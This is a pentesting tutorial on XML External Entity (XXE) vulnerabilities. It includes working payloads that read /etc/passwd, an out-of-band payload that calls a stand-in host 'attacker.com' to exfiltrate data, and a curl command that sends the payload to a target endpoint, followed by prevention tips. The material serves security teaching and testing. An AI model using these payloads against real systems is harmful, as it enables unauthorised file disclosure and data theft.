What is XXE?
XML External Entity (XXE) is a vulnerability that occurs when an XML parser improperly processes external entities. If user-supplied XML input is parsed without proper security configurations, attackers may exploit it to:
- Read arbitrary files on the server
- Perform server-side request forgery (SSRF)
- Trigger Denial of Service (DoS)
- Potentially gain remote code execution in rare cases
Types of XXE Attacks
1. File Disclosure
Leaking sensitive files like /etc/passwd or application configs.
2. SSRF via External Entities
Trigger internal network requests using crafted URLs in the DOCTYPE.
3. Out-of-Band (OOB) Exploitation
Exfiltrate data via DNS, HTTP requests, or external callbacks (useful when blind).
Step-by-Step Exploitation Guide
🧪 Step 1: Identify XML Input
Look for places where XML is accepted. Common examples:
- SOAP web services
- API endpoints accepting XML payloads
- File upload forms that accept XML files
🛠 Step 2: Send a Test Payload
Basic test to check if the parser processes external entities:
<?xml version="1.0" ?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>📥 Step 3: Analyze the Response
If the file contents appear in the response or error, the target is vulnerable.
🌐 Step 4: Exfiltration (OOB)
Use your own server or Burp Collaborator to detect OOB requests:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/xxe.txt">
]>
<foo>&xxe;</foo>Real-World Exploit Example
Example using cURL against a vulnerable endpoint:
curl -X POST https://target.com/api/xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>'Observe the server’s response to confirm file disclosure.
🔐 How to Prevent XXE
- Disable DTD processing in the XML parser
- Use libraries that are safe-by-default (e.g., Jackson, lxml)
- Do not accept XML unless strictly required
- Validate and sanitize all incoming XML inputs
- Use Content Security Policy (CSP) and network segmentation to reduce impact
💡 Tips for Pentesters
- Always try both in-band and out-of-band vectors
- Burp Suite has a built-in XXE scanner (Pro version)
- Test for file disclosure and SSRF separately
- Use Burp Collaborator or Interactsh for OOB data theft